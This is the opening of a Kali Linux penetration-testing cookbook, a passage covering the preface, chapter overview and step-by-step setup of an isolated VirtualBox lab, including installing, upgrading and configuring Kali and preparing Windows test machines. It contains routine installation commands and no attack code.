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Preface
Kali Linux, the most popular security testing platform available today, provides a means
for individuals from all walks of life to become more experienced with penetration
testing and information security. Kali is not only the cornerstone of many security
penetration testing programs, but also has a tremendous community of users who share
code, methods, and experiences to help even the most seasoned security practitioners
become more effective. As a platform, Kali Linux is quite versatile. It can be run from
bootable media, installed onto hardware platforms, or run in virtual environments. It can
be enhanced with any number of tools available outside of the native distribution (and
we will demonstrate this in the following chapters). It truly gives you the means to have
a single platform to work from, in any format you like, without the need for expensive
investments in hardware and software.

With the rise of malicious actors and malware, and the increased focus on system and
network security, being able to understand how the attacker operates allows you to
become more effective at providing balanced and appropriate controls.

In this book, we will explore how to use Kali Linux as well as additional tools such as
Nexpose, Nessus, and OpenVAS to perform various types of penetration testing tasks.
We will cover how to set up an effective lab for testing purposes and we will also
cover many aspects of penetration testing, along with useful advice on how to go about
being successful in using the Kali Linux platform.
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What this book covers
Chapter 1, Installing Kali and the Lab Setup, documents best practices for setting up a
testing environment, where you can test the skills highlighted in this book.

Chapter 2, Reconnaissance and Scanning, enables you to learn the skills necessary to
gather information about your target environment. We will gather domain names, IP
subnets, hosts, routing information, as well as other useful information. You will also
learn how to keep track of this data, so we can refer to it in the future as we progress
through our penetration testing environment.

Chapter 3, Vulnerability Analysis, explains that once access to a network has been gained
and the systems within that network have been identified, the next step is to establish a
foothold and persistent access.

Chapter 4, Finding Exploits in the Target, takes the host information that we have
accumulated to determine the potential exploits to use against target machines and
services.

Chapter 5, Social Engineering, speaks about social engineering that can be employed
through electronic means and is also used in physical penetration testing and even data
gathering. We bend well-known natural tendencies to help us accomplish or obtain what
we want.

Chapter 6, Password Cracking, enables you to learn different techniques and tools to gain
knowledge of password hashes gained during various attacks, as well as the means to
reset these passwords if access is gained.

Chapter 7, Privilege Escalation, helps you to learn how to use a small foothold to expand
the scope of your breach, increase the admin level, and use lateral movement to
compromise more machines. In most cases, the initial point of a breach is not the
desired target, but just a means to get to the more valuable targets.

Chapter 8, Wireless Specific Recipes, explains that due to the ever growing adoption of
wireless networking, as well as the extended reach wireless signals can provide, we
will focus on how to gain access to these networks through a variety of means.

Chapter 9, Web and Database Specific Recipes, explains that evaluating the security of
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web applications and databases requires a unique set of tools that can be leveraged
against them. In the event that a web application is compromised, it is highly likely that
it may then be used as a jumping off point for further network penetration.

Chapter 10, Maintaining Access, explains that once access has been gained to the target
environment, it is crucial to make sure that your access is maintained. Learn how to
maintain access and pivot into other areas of your target environment.
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What you need for this book
This book assumes a medium level of expertise on Linux operating systems, strong
knowledge of networking technologies, including both wired and wireless, moderate
experience with OS platform configuration, and moderate experience with general
information security concepts. This book will go through the process of setting up a
basic testing lab, the installation of Kali Linux, and the tools needed to perform network
reconnaissance, and exploitation. Because you will be running exercises against live
hosts, it is important that this environment is isolated from other non-test environments.

Kali Linux can be installed into a virtual environment such as VirtualBox or VMware,
or can be installed onto a dedicated hardware. This book requires that you have enough
compute resources for the Kali Linux installation as well as the target systems. In
addition to the minimum requirements for your hypervisor, minimum hardware or virtual
requirements are listed as follows:

CPU: 10 cores
Memory: 24 GB RAM
Disk space: 260 GB

In this book, you will need the following software list:

Kali Linux 2017.x
VirtualBox
Windows XP
Windows 7
Windows 2008

Internet connectivity is required to install the necessary additional packages that must be
installed onto Kali Linux, depending on the recipe requirements.
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Who this book is for
To make best use of the content of this book, knowledge in networking, device
management, general information security concepts, and core operating systems is
required. Foundational knowledge of Kali Linux is also expected. Since Kali Linux
provides a tremendous number of tools for many different purposes, it is impossible to
cover all possible combinations of the available tools and their use. For more details on
all the tools available within Kali Linux, visit the official Kali Linux Tool page located
at https://tools.kali.org/. With that in mind, this book is intended to provide a more in-depth set
of recipes to take advantage of these tools to sharpen your knowledge of security
penetration testing and exploitation of insecure/undersecured environments.

||||||||||||||||||||

https://tools.kali.org/
https://technet24.ir
https://technet24.ir
https://technet24.ir


||||||||||||||||||||

||||||||||||||||||||

https://technet24.ir
https://technet24.ir


Sections
In this book, you will find several headings that appear frequently (Getting ready, How
to do it, How it works, There's more, and See also).

To give clear instructions on how to complete a recipe, we use these sections as
follows:
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Getting ready
This section tells you what to expect in the recipe, and describes how to set up any
software or any preliminary settings required for the recipe.
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How to do it…
This section contains the steps required to follow the recipe.
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How it works…
This section usually consists of a detailed explanation of what happened in the previous
section.
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There's more…
This section consists of additional information about the recipe in order to make the
reader more knowledgeable about the recipe.
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See also
This section provides helpful links to other useful information for the recipe.
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Conventions
In this book, you will find a number of styles of text that distinguish between different
kinds of information. Here are some examples of these styles, and an explanation of
their meaning.

Code words in text, database table names, folder names, filenames, file extensions,
pathnames, dummy URLs, user input, and Twitter handles are shown as follows:
"select /root/Documents and type in your customer name".

Any command-line input or output is written as follows:

 wafw00f scanme.nmap.org 

New terms and important words are shown in bold. Words that you see on the screen, in
menus or dialog boxes for example, appear in the text like this: "click on Apply."

Warnings or important notes appear like this

Tips and tricks appear like this.
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Readers feedback
Feedback from our readers is always welcome. Let us know what you think about this
book-what you liked or disliked. Reader feedback is important for us as it helps us
develop titles that you will really get the most out of.

To send us general feedback, simply email feedback@packtpub.com, and mention the book's
title in the subject of your message.

If there is a topic that you have expertise in and you are interested in either writing or
contributing to a book, see our author guide at www.packtpub.com/authors.
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Customer support
Now that you are the proud owner of a Packt book, we have a number of things to help
you to get the most from your purchase.
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Downloading the color images of this
book
We also provide you with a PDF file that has color images of the screenshots/diagrams
used in this book. The color images will help you better understand the changes in the
output. You can download this file from https://www.packtpub.com/sites/default/files/downloads/KaliLinu
xCookbookSecondEdition_ColorImages.pdf.
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Errata
Although we have taken every care to ensure the accuracy of our content, mistakes do
happen. If you find a mistake in one of our books-maybe a mistake in the text or the
code-we would be grateful if you could report this to us. By doing so, you can save
other readers from frustration and help us improve subsequent versions of this book. If
you find any errata, please report them by visiting http://www.packtpub.com/submit-errata,
selecting your book, clicking on the Errata Submission Form link, and entering the
details of your errata. Once your errata are verified, your submission will be accepted
and the errata will be uploaded to our website or added to any list of existing errata
under the Errata section of that title.

To view the previously submitted errata, go to https://www.packtpub.com/books/content/support and
enter the name of the book in the search field. The required information will appear
under the Errata section.
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Piracy
Piracy of copyrighted material on the Internet is an ongoing problem across all media.
At Packt, we take the protection of our copyright and licenses very seriously. If you
come across any illegal copies of our works in any form on the Internet, please provide
us with the location address or website name immediately so that we can pursue a
remedy.

Please contact us at copyright@packtpub.com with a link to the suspected pirated material.

We appreciate your help in protecting our authors and our ability to bring you valuable
content.
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Questions
If you have a problem with any aspect of this book, you can contact us at
questions@packtpub.com, and we will do our best to address the problem.
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Installing Kali and the Lab Setup
In this chapter, we will cover the following topics:

Lab architecture and considerations
Installing VirtualBox
Installing Kali on VirtualBox
Using Kali Linux from bootable media
Upgrading Kali Linux
Understanding the advanced customization and optimization of Kali
Installing Windows machines
Installing Metasploitable
Installing OWASP-BWA
Understanding hack me and other online resources
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Introduction
In order to set the stage for the rest of this book and to help you reproduce the
recipes and their output, I strongly recommend that you create a test environment where
you can run various tools that are included with Kali Linux. In this chapter, we will be
focusing on building our testing environment based on free or low-cost applications to
minimize cost.

Starting with installing the virtualization platform, VirtualBox, we will walk through a
few common installation techniques for Kali Linux; you will also learn how to update
and maintain your installation.
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Lab architecture and considerations
In this section, we will discuss our lab design and provide some information that you
can use to expand it in the future.

As we begin to set up our lab, we want to take some time to discuss the lab setup and
some of the considerations that we will take when using the lab. Some of these
considerations are designed to make the lab more effective, while others are used for
the protection of the networks our lab is connected to. We also want you to be in a
position to easily expand or grow this network with other test machines as you master
the Kali recipes that follow.
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How to do it...
In this section, we will be discussing general topics as opposed to specific recipes. 
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The hypervisor selection
Today, there are many different hypervisors that will allow you to run multiple virtual
machines on a single physical machine. For our specific purposes, we have chosen to
show you how to setup the initial lab in VirtualBox due to several compelling factors.
It's free to use, has multi-platform support, and it's able to run within your main
operating system. However, as we progress past the first chapter, we will be switching
to VMware ESXi. This will not affect recipes in any way between using VirtualBox and
VMware ESXi. Our main reason for switching is the amount of compute resources that
are available to us in our dedicated lab. We have the ability to run many virtual
machines at once, and we will have the ability to insert firewalls and other security
devices between our Kali instance and our testing hosts, as needed. We also have the
flexibility to create more complex environments.

If, for any reason, you are looking to build a larger test network or have a different
hypervisor of choice that better suits your purposes, feel free to use it, as we will
assume you will be able to translate our instructions between the different hypervisors.
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The hypervisor networking
In our lab, we are going to be using two networks within VirtualBox: a NAT network
and a host-only network. Our Kali box will be connected to both the networks, so it can
communicate with devices on the internet, download updates, and get software packages
as needed. Our target machines will only be connected to the host-only network. The
host-only network can only talk within the host and among other devices connected to
the host-only network. It cannot communicate through your Ethernet or wireless
networks. This setup is extremely critical to our testing environment, as we do not ever
want to expose our testing hosts to the outside world, as they are very vulnerable and
will be hacked rather quickly.

To further protect the networks that your lab is connected to, we would actually suggest
disconnecting the virtual adapter of the Kali virtual machine that connects to the NAT
network, unless specifically required for the recipe operation. This way, your network
is protected from accidental exposures to any attacks you may be sourcing from Kali.
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Vulnerable workstations
One of the many questions frequently asked is why we soften machines or use machines
that have vulnerabilities. The fact is that a properly patched, properly configured, and
properly hardened machine is quite difficult to get into. Penetration testing is not trying
to get through to hardened devices but looking specifically for those devices that have
vulnerabilities. In a typical engagement, you may find only one or two machines that
have vulnerabilities. You can then use these machines to gain a foothold into an
environment to compromise other more hardened machines. If you start doing regular
engagements as a penetration tester, you will be surprised by just how many machines
you may be able to find that have vulnerabilities. This is especially true with the
proliferation of low cost Internet of Things (IoT) devices such as internet connected
cameras, thermostats, automation systems, and monitoring. These devices often run
Linux-type embedded operating systems and are rarely patched and often overlooked.
More importantly, they are often riddled with bugs and vulnerabilities that we can use
for our purposes.
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Installing VirtualBox
To set the foundation for our lab, we will be using VirtualBox as a virtual hardware
platform to host our images. This recipe will outline the steps necessary to do so. In the
event that you wish to use an alternate virtualization platform, the same general
principles will apply.

When it comes to learning a new set of skills or sharpening the ones you already have,
the importance of a testing environment cannot be overstated. It is imperative that you
have the means to test against systems in a known state so that you can validate the
results of your tests.

One method of saving resources, both physical hardware and computing resources, is to
utilize a virtual environment where your testing devices reside. One very popular
example of a virtualization platform is Oracle's VirtualBox—a purpose build
virtualization environment designed for use with x86 platforms that can host many
virtual machines on one physical computer. This allows for the sharing of resources
such as disk, RAM, CPU, and so on. Additionally, because VirtualBox supports
importing and exporting virtual appliances, resources can be easily moved, shared, and
so on.
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Getting ready
To prepare for the use of VirtualBox for the remainder of this book, we will need to
ensure that we have enough resources on our server to be able to run several of the
virtual guests at the same time. The following chart highlights the amount of resources
that each of our intended guest systems will require:

Name Disk required Memory required CPU required Chapters used

Kali Linux 80 GB 8 GB 2 1-10

Metasploitable 65 GB 4 GB 1 1,2,4-7,10

Ubuntu 16.4 LTS 15 GB 2 Gb 1 1,6,10

Windows XP SP3 10 GB 1 GB 1 1,2,4-7,10

Windows 7 - host 1 10 GB (thin) 2 GB 1 1-7

Windows 7 - host 2 10 GB (thin) 2 GB 1 1-7

Windows 2008 Server 25 GB (thin) 2 GB 1 1-7

OWASP-BWA 10 GB 1 GB 1 1,9

VulnOS 32 GB 1 GB 1 1,7
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How to do it...
In this section, we will build out an environment that will allow you to perform security
testing without the need for physical hardware:

1. Ensure that you have the following resources free on your host machine to support
the system combinations mentioned in preceding list. In totality, you will need the
following in addition to the resources needed by VirtualBox itself:

5 CPU
1500+ GB free disk space
16 GB free memory

2. Download the appropriate version of VirtualBox for your lab environment from ww
w.virtualbox.org.

It would also be good to familiarize yourself with the detailed options
available from the VirtualBox manual, which can be found at https://www.virtu
albox.org/manual/ch01.html.

3. Once you have downloaded the installer, locate it, and start the installation. As the
application begins the installation, you will see the following dialog boxes. As of
the time of writing this book, the version available was 5.1.8. When you are
greeted with the dialog box seen in the following figure, select Next:

 Initial installation screen

4. When given the option at the first Custom Setup screen, as seen in the following
figure, leave the default options in place, and select Next:
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 First custom setup screen

5. At the second Custom Setup screen, as seen in the following figure, review the
options and determine which are appropriate to your preferences, and select Next:

 Second custom setup screen

If you leave Register file associations, this will configure your system to
use VirtualBox, to open virtual disk images automatically.
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6. After the basic configuration options have been decided, the setup will now begin
to make changes to the host computer. One such step is the installation of the
dedicated virtual network adapters that allow VirtualBox to provide different
options in regard to how your systems use networking. During the installation of
these drivers, you may experience a brief loss of connectivity; so when prompted,
acknowledge this fact by selecting Yes. 

7. Once ready to kick off the installation, select Install from the next dialog box, and
wait until the installation process is complete.

During the installation process, you will be prompted to allow the
installation of device drivers. These drivers are predominantly used for
the virtual network devices. You may choose to trust device drivers signed
by Oracle in the future, or leave that option unchecked.

8. Once the installation is complete, you will be given the option to finish, or finish
and then start VirtualBox.

Depending on what other uses for this lab you may have in the future, this
would be a good time to install the VirtualBox expansion set that includes
support for the USB 2.0 and 3.0 USB controllers, host web camera, RDP
services, and other features. It is recommended that you install these at this
time before starting VirtualBox.

9. Once you start VirtualBox, you will need to confirm the settings for network
connectivity. You are going to want to find the Preferences item under the
VirtualBox menu heading; now, select it. Then, select the network option along the
top, and you will be presented with the following window:
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VirtualBox preferences dialog - network

10. By default, NatNetwork should already be created for you. However, if one is not
displayed, click on the + button on the top right to add one.

In the next section, we will be creating networks that exist only on your
PC. Although these networks will only be seen on your PC, we strongly
recommend that you use subnets that do not coincide with any of
the existing networks that you may have access to.

11. Once added, review the setup of the network by clicking on the wrench icon, on the
lower-right part, and you will be presented with the following dialog box. You can
modify the IP subnet as needed. Ensure that Enable Network is selected, and click
on OK to continue:

NatNetwork configuration dialog
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12. Create our test network. Select Host-only Networks. By default, no network is
created, so click on the + icon in the upper right-hand corner to create the vboxnet0
network:

Host-only networks dialog box

13. Ensure that the vboxnet0 interface is highlighted, and click on the wrench icon in
the lower-right part of the screen. An IPv4 address will already be populated for
you. If you are putting this into an existing lab network, or if this range is used in
other places in your existing environment, feel free to designate a different network
if necessary, as this will be your dirty network for testing purposes:

 
Host-only network adapter dialog

14. Let's review and modify the DHCP Server section by selecting it. The defaults
should be fine, but you can adjust them as you feel appropriate. 
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Do not use the whole range for DHCP, as you may want to statically assign
IP Addresses to servers on your dirty network.

15. Once these steps have been completed, your VirtualBox environment is ready for
the next section.
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How it works...
In this section, we will download and install the virtual compute environment,
VirtualBox, to build the base of our test lab. We configured the basic network
configurations and set up DHCP to help with dynamic host networking.
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Installing Kali on VirtualBox
In this section, we will install Kali Linux into a virtual host in the VirtualBox
environment, as we described in the previous section.

Kali Linux (Kali) is based on the Debian operating system; and it is a self-contained
environment that includes hundreds of tools that can be used for security auditing and
testing purposes. It provides a platform, which you can use to build your penetration
testing skills. It is one of the most widely used platforms for this purpose.

Kali comes in a variety of different flavors – we will be using the full Kali install using
the Gnome windows manager, inside an Oracle VirtualBox environment. However, Kali
can be installed on any hypervisor; it can be non-destructively run from a USB or CD
drive, on Raspberry Pi's, or other similar single board computers. It supports
installation on both the Intel and Arm processors.

When you first go to the Kali website and look at the downloads section (www.kali.org/down
loads), it may be a bit overwhelming with all the options at first, so let's run through some
of them, so you understand the differences.

With reference to the following image, you will note that the top two entries, the Kali 64
bit and the Kali 32 bit, are the default full install of the operating system using the
Gnome windows manager.

The next two entries denoted by lightare a minimal install of Kali with the Gnome
Windows manager for some space constrained systems. You can use this along with
manually installing only the needed tools for your specific purposes.

The next four entries denoted with e17, Mate, Xfce, and LXDE are full installs of the
Kali operating system, each using a different graphical windows manager for its desktop
interface. If you happen to have an older device, consider running Kali with the XFCE
interface, as it requires less resources than Gnome. I would only suggest these if you are
familiar with them, and opt not to use the default Gnome windows manager or have a
specific purpose to do so such as resource constraints.

The last two entries, armhf and armel, are for those two flavors of the arm architecture
with armhf supporting the older ARMv4 instruction set, and the armel supporting the
new version 7 instruction set.

||||||||||||||||||||

http://www.kali.org/downloads
https://technet24.ir
https://technet24.ir
https://technet24.ir


Please also note that the sha256 value is displayed. This allows you to validate that you
have downloaded an unaltered version of the image:

Kali.org download page, image section, as of May 2017

If you scroll down the page a bit more, you will see the section that allows you to
download pre-prepared images that can automatically run without going through the
setup process; in addition, it supports various hypervisors, or, in the case of ARM, has
images and scripts for popular arm-based computers, such as Raspberry Pi's or other
popular arm-based devices.

We will not be using these images as we want to walk you through a full
installation and setup of Kali, so you have a better understanding of the
process.

 Kali.org download page, hypervisor and arm section, as of May 2017
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Getting ready
Before installing Kali Linux, we need to ensure the minimum requirements are met:

Your computer is connected to the internet
You have a minimum of 4 GB of RAM (8 GB is recommended)
You have a minimum of 25 GB hard drive space available (80 GB is recommended
for Chapter 3, Vulnerability Analysis)
VirtualBox installation is complete and currently running
Download the appropriate Kali disk image from https://www.kali.org/downloads/

For our purposes, we will be using the Kali 64 bit version. Please refer to the recipe
introduction for more details about these options.
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How to do it...
Let's begin the process of installing Kali:

1. Click on New in the upper left-hand corner of the screen:

Main VirtualBox screen

2. Name your virtual machine Kali Linux, select type as Linux, and select the version as
Linux 2.6 / 3.x / 4.x (64-bit). Press the Continue button when complete:

 Name and operating system selection screen

3. Memory size: You will be presented with a slider for memory size, with the ability
to manually enter a value: in the box type in 4096. The 4 GB of memory will
provide a smooth and responsive Kali install. Click on Continue.

4. Hard disk: select Create a virtual hard disk now and press on Create.

You will note that on this screen, it will refer to a recommended hard disk
size of 8 GB. Please note that this is not sufficient for a full Kali install,
and we will be allowed to change it in a future step.

5. Hard disk file type: take the default file type of VDI (VirtualBox Disk Image).
Select Continue.

If you are interested in having easy compatibility with other hypervisors,
you can select one of the other types available. Virtual Hard Disk (VHD)
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is widely used for Windows HyperV. Virtual Machine Disk (VMD) is
widely used for VMware deployments.

6. Regarding the storage on physical hard disk, leave the default of Dynamically
allocated and click on Continue.

If you are running an older spinning disk versus a solid state drive and
have the available space on the disk, the recommendation would be to use
Fixed size.

7. File location and size: leave the name and location with the default, and either
move the slider or enter 25.00 GB directly into the box. Click on Create.

25 GB is a nice size for the install plus some extras. If you have limited
space requirements please see our discussions of the various Kali image
and installation options for more guidance in the introduction section of
this recipe.

8. Click on Kali Linux to highlight it; then click on Settings:
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VirtualBox main screen - with Kali Linux VM shown

9. From here, we will select the Storage option. Originally under Controller: IDE it
will say Empty. Click to highlight Empty. Click on the circular disk icon to the
right of IDE Secondary Master. An option dialog will be brought up, and
select Choose Virtual Optical Disk File. This will bring up a file manager dialog,
which will allow you to find and select the Kali image you downloaded
previously. Once completed, your screen should look similar to the following:

 Kali Linux VirtualBox settings storage option

10. Click on Network and verify that Adapter 1 shows attached to NAT Network with
the name NatNetwork:

||||||||||||||||||||

https://technet24.ir
https://technet24.ir
https://technet24.ir


Kali Linux - network adapter 1

11. Click on Adapter 2 and for Attached to select Host-only Adapter with the Name
as vboxnet0, then click on OK:

Kali Linux - network adapter 2

12. We are brought back to the main manager screen. Let's click on Kali Linux to
highlight it, and then click on Start:
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VirtualBox manager screen

13. We will now be brought to the main Kali installation screen. Let's click on
Graphical install:

||||||||||||||||||||

https://technet24.ir
https://technet24.ir
https://technet24.ir


 Kali main installation screen

14. Select an appropriate language; for our use, we will select English and click on
Continue: 
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Select a language screen

You may click on X on the boxes at the top, if any, as they are only
informational.

15. Select the proper keymap for your region. For our purposes, we will select
American English. Then, click on Continue. The VM will then start by loading
installer components. This should only take a moment or two based on the
performance of your device. It will also detect and connect to your network
automatically.

16. You will be brought to a screen where you must enter the hostname. Let's simply
call our install Kali and click on Continue:
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Kali configure network screen

17. The next screen will ask for your domain name. We will leave this blank, and
simply click on Continue.

18. Our next screen will ask us to enter a root password. Select a strong password.
Enter it for a second time to validate it, and click on Continue. The install will
continue through some further steps. 

19. Once completed, you will be brought to a configure clock screen. Select the
appropriate time zone; for our purposes, we will select Eastern, then click on
Continue:
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 Configure clock screen

20. Partitioning disks: for simplicity, we will select Guided - use entire disk, and click
on Continue: 
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 Partition disks

It's important to note that, for our example here, we want to just keep it
straightforward. When actually setting this up for production testing, I
have a dedicated laptop and use a fully encrypted LVM. This would be a
recommendation when you move from working in a sandbox and go to
actual engagements; as a pen tester, you need to protect your work as well
as your client's information. Encryption, in that case, is paramount. 

You may also want to keep in mind crossing borders with encrypted
laptops and what the border security rights are. In the US, even for US
citizens, they can ask for your passwords to get into the machines, remove
them from your immediate control, and confiscate them. You may want to
take situations like this into consideration; you can ship that encrypted
laptop to and from the destination as needed, or complete your reports
prior to leaving, and wipe the hard drive. Remember that deleting files is
not securely wiping information - you can use a tool such as Darik's Boot
and Nuke (DBAN) https://dban.org/ and use 5220.22-m wipe methods.

21. You will be brought to a partition disks screen for confirmation. Click on the disk
to highlight it, and click on Continue:
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Partition disks

Please note that as you are inside a virtual machine when it references,
your disk will be erased; it is only talking about the virtual partition and
not your disk. If you have decided to load this on your PC as the native
operating system, it will erase the entire drive.

22. Select All files in one partition (recommended for new users) and click on
Continue:
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Partition disks - screen 2

23. Select Finish partitioning and write changes to disk. Click on Continue:
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Partition disks - screen 3

24. Click on Yes to write changes to disk. Click on Continue:
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 Partition disks - screen 4

Your system will begin installing further. This process will take several
minutes, so please be patient.

25. Upon the completion of the install, you will be asked whether you want to use a
Network Mirror for your package manager. Select Yes and click on Continue.

26. You will be asked to enter a proxy server if needed. Please enter any required
information (for most installs, you will leave this blank). Click on Continue. Kali
will continue to install packages.

27. Select Yes to install the GRUB boot loader and click on Continue.
28.  Select the single drive listed to highlight it, and then click on Continue. This will

finish the installation:
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Install GRUB boot loader

29. After a short time, you will be brought back to the Finish the Installation screen.
This will ask to boot your computer to ensure that you have removed the
installation media. Under most circumstances, VirtualBox or other hypervisors will
honor the disk eject command issued when Kali finishes installation, but we need
to be sure. At this point in time, do nothing:
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 Kali Linux: finish the installation

30. Move the installation windows to the side to expose the main VirtualBox manager
screen. Click on to highlight the Kali Linux VM. Click on Settings, and next click
on Storage. If under Controller: IDE, you do not see Empty, click on the install
media shown to highlight it. Click on the icon at the far right that looks like a disk,
and select Remove Disk from Virtual Drive. Click on OK:
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 VirtualBox manager

31. Go back to the Kali Installation screen, and now click on Continue. It will finish a
couple items up, and reboot the virtual machine bringing you to the login screen:
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Kali Linux finish the installation

Remember that when logging into the system, your username is root and the
password that you created during installation.
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Using Kali Linux from bootable media
As you will see in the pages that follow, there are a tremendous number of uses for Kali
Linux, and for these uses, it is not always practical to dedicate a device to one
particular use case, as this would be a tremendous waste of resources. To address this,
you can use the Kali Linux installation ISO downloaded in the previous section as a live
CD as well; or you can maintain persistence with a live USB drive with persistence
(with or without Linux Unified Key Setup encryption).

We will show you how to create the Live USB (no persistence, no history maintained).

Additional options such as live USB with persistence, live USB with encrypted
persistence, and custom rolled Kali Linux ISO (which can be incorporated into the
bootable USB options) can be found on the Kali Linux documentation wiki at http://docs.kali
.org under the section called 02. Kali Linux Live.
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Getting ready
In order to be able to complete this section successfully, you will need the following:

USB Drive (8 GB or larger)
USB disk imager (Win32DiskImager)
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How to do it...
Let's begin the process of creating a bootable Kali Linux USB device:

1. Starting with the Kali Linux ISO file we downloaded in the earlier recipe,
installing VirtualBox, we will use Win32DiskImager (https://sourceforge.net/projects/win32d
iskimager/) to create a bootable USB using the ISO. Download and install
Win32DiskImager.

2. Once installed, launch Win32DiskImager.

In order to format the USB drive and to write the raw image,
Win32DiskImager needs admin permissions to run. You will need to give
permission for it to run when the user access control dialog is presented.

3. Win32DiskImager will use IMG files, but we will tell it to use an ISO file as the
source. From the application screen, click on the File Open button, and when
presented with the File Open box, change the file filter to *.* in the lower right,
and navigate to the Kali Linux ISO file.

4. Select the drive letter of your USB device, and click on Write:

FW32 DiskImager example

5. Once the image has been written to the USB drive, you will be able to boot from
this device on machines that support the USB bootable media. In this configuration,
you now have a bootable USB drive that will from which the Kali Linux operating
system will boot, as if it were installed onto the local disk. Across reboots, you
will lose any documents you may have created. If you choose it, you can create an
additional partition on the USB drive that will be persistent, and keep files and
documents you may wish to keep. The step-by-step instructions on how to extend
this functionality can be found on the Kali Linux documentation wiki at http://docs.kali.o
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rg under 02. Kali Linux Live.
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Upgrading Kali Linux
Now that we have a base install of Kali, let's run through any updates and upgrades
required. This is something you want to do periodically with the system, to make sure
you are using the most up-to-date information.
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Getting ready
Before you start, ensure the following prerequisites:

Your computer is connected to the internet
Your installation of Kali is running
You are logged in as root

||||||||||||||||||||

https://technet24.ir
https://technet24.ir
https://technet24.ir


||||||||||||||||||||

||||||||||||||||||||

https://technet24.ir
https://technet24.ir


How to do it...
To bring an existing Kali Linux installation up to date, you will do the following:

1. From the main Kali desktop, let's click on the terminal icon in the upper-left part of
the screen:

 Kali Linux desktop

Since we are already logged in as the root, we will not require any
elevation of privileges using the su or sudo commands.

2. From the Command Prompt, type this:

 apt-get update
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 Kali Linux Command Prompt

After the initial installation, this process could take several minutes to
complete.

3. Once complete, we will actually upgrade the system by entering the following at
the Command Prompt:

 apt-get upgrade

Kali Linux Command Prompt

4. After a minute or two, you will get a screen explaining what will be upgraded and
what needs to be installed for the upgrades to occur. When ready to continue, type
Y and press Enter:

Kali linux Command Prompt

This process will take quite some time to complete, so please be patient
as your system upgrades. 

5. Once complete, we will reboot the system to ensure we have a fresh running
environment. To continue, type this:

 shutdown -r now
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Kali Linux Command Prompt
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There's more..
During the upgrade, you may get prompted for a couple of items such as following:
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apt-listchanges: news section
You may get paused at an apt-listchanges: news section, and you will be presented with
a : sign at the bottom; you can use your arrow keys to read the notice, and then just press
q to quit and continue.
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The configuring macchanger
You can set up the system to change the mac automatically per boot. For our testing
purposes, it's not required; however, if you are doing this in a live environment, you
may want to configure it. Select No:

Configuring macchanger dialog box
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The service restart
You maybe asked to restart services automatically to ease upgrades; select Yes:
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Understanding the advanced
customization and optimization of Kali
Now that we have our Kali Linux virtual machine installed and updated, let's do a bit of
customization.
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Getting ready
Before you start, ensure the following prerequisites:

Your computer is connected to the internet
Your installation of Kali is running
You are logged in as root
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How to do it...
There are several customization and advanced settings that we can perform.
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Upgrading the Linux kernel
To update the Linux kernel, you will do the following:

1. Open a terminal window by selecting its icon on the left tool bar, and enter the
following:

       apt-get dist-upgrade

2. Follow the prompts to complete the installation, and reboot the virtual machine
when complete.
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Removing unneeded packages
To remove unneeded packages, we will do the following:

1. Open a terminal window by selecting its icon on the left tool bar, and enter the
following:

 apt autoremove 
 exit
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Adjusting or disabling the screen lock
During the use of this book, you may find yourself leaving your system to run commands
or in between sections. During this time, the screen may lock and force you to login in
more frequently than you would prefer. To change this behavior, do the following:

1. In the upper right-hand corner of the screen, click on the down arrow, which will
provide various pieces of information about the current state of the computer. In the
lower left-hand corner of that box, click on the settings icon:

System status box

2. From the All Settings screen, click on the purple privacy icon in the first row to
display the privacy dialog box, then select the Screen Lock entry:
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 Privacy box

3. Adjust the settings as desired; in the following example I have set the timer to 1
hour:

Screen Lock

4. Finish by clicking on the Xs at the top until you are back at the main screen.
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Correcting the Ethernet interface
configuration
Since only one interface can be on at a time, we will set up networking as follows:

1. In the upper right-hand corner of the screen, click on the down arrow, which will
provide various pieces of information about the current state of the computer. In the
lower left-hand corner of that box, click on the settings icon:

System status box

2. Next to one of the interfaces, select the arrow icon, which will expose another
level of menus. Click on Wired Settings:
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System status box

3. Select Add Profile from the bottom:

Network window

4. From the New Profile window, select Identity on the left; and for Name, enter Host-
Only Network:
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New Profile window

5. In the left column, click on IPv4 and scroll all the way to the bottom and put a
check in the box labeled Use this connection only for resources on its network, and
then click on Add:

New Profile window

6. Assign eth1 to the host-only network that we just created by clicking on eth1 to
highlight it. Click on host-only network. Verify that eth0 is assigned to the wired
connection network by clicking on eth1. You should now be able to have both
interfaces enabled simultaneously:

Network window
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Connecting and disconnecting Ethernet
interfaces
Kali Linux makes it easy to manage network connections using network manager. This is
how you will connect and disconnect network interfaces:

1. In the upper right-hand corner of the screen, click on the down arrow, which will
provide various pieces of information about the current state of the computer:

System status box

2. You will see entries for both your eth0 and eth1 interfaces. If you have followed
our guide, the eth0 network is connected to the NAT network and allows access to
the internet and networks outside of your virtual machine. The eth1 interface is the
host-only network, which connects to your test machine. You can toggle these on
and off as required.
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Installing Windows machines
Creating a lab environment where we can safely perform security testing is key to being
able to develop a repeatable set of skills. In this section, we will cover the installation
and configuration of Windows desktop machines, as well as an active directory server.

As the Microsoft Windows operating system is the most commonly employed operating
system, we will be looking to test the windows platform with Kali Linux in our lab.
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Getting ready
To complete this section, you will need the following:

1. Installation media for Windows 7 and Windows server 2008. Due to licensing
restrictions, we are unable to provide installation media for Microsoft software
products.

These versions are preferable as they are old enough to have well-
documented vulnerabilities and low resource requirements. Since
Windows 7 for desktops and Windows server 2008 are most commonly
seen as of the time of the writing of this book, we recommend these be
used for your test lab, and will be used as examples in this book.

2. A virtual machine platform such as VirtualBox which we configured in previous
steps.

3. Starting from your VirtualBox interface, select the New button from the upper-left
corner to create a new virtual host for Windows to be installed into. You will need
to use a system template that matches the version of Windows you are going to be
installing:

Create new virtual machine

4. Since this machine will be for testing only, assign it 1 or 2 gigabytes of memory,
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and use the default values for all of the remaining options by clicking on Next until
you reach the end of the configuration section.

5. Once the initial virtual host has been configured, you will need to go back into the
settings to tell the virtual host to boot from the installation media. Right-click on
the virtual system that you just created and go to settings. Once in the settings
dialog window, select Storage from the menu on the left, highlight the topmost
controller device, click on the Add Storage Attachment button, and select Add
Optical Drive.

6. From the next dialog box, select Use Existing when asked whether you would like
to leave the storage option empty. When prompted, navigate to your Windows
installation media, and click on Open; then complete the configuration session by
clicking on OK.

7. Start your new virtual machine by clicking on the parentheses start button.
8. From this point, you will follow the default operating system installation process

specific to the version of Windows you have selected. When given the option of
installing additional services, use only the default options selected.

9. During installation, we will name our systems something easy to remember. We
will name the desktop clients Windows Desktop 1 and Windows Desktop 2, and the server AD
Server.

10. When prompted to configure the Windows update services, ensure that you do not
enable the automatic installation of Windows updates:
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De-selection of automatic Windows updates

On certain platforms, you may select the option to download but not install
updates if you so choose. This will allow you to evaluate the security of
